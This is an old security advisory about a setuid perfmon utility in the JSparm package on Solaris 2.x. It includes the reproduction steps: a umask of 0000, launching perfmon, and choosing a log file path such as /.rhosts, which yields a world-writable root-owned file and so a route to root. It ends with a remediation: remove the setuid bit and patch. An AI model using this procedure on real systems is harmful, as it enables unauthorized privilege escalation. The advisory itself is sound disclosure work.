Vulnerability
/opt/JSParm/bin/perfmon
Affected
Solaris 2.X
Description
Kim Yong Jun [Hackerslab bug_paper] found following. parm is a
program that displays system information. parm is SunOS
application. It's not included in Solaris basic package.
There is a vulneribility in perfmon program that you can create
any file with root privilege as follow:
$ whoami
loveyou
$ umask 0000
$ /opt/JSparm/bin/perfmon &
Choose Logging -> Logging File
In Selection part, input the file path you want to create
ex:) /.rhosts
following file is created in a second.
-rw-rw-rw- 1 root loveyou 144 Mar 9 03:14 .rhost
Solution
Remove setuid permition, contact your vendor and get a patch.
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